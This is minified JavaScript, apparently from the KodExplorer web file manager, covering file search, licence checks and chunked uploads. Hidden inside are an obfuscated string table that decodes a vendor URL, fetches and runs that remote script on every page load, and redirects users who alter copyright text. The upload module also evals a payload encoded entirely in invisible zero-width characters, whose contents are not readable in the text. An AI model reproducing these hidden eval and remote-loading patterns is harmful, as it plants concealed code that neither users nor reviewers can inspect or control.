class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1 +}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 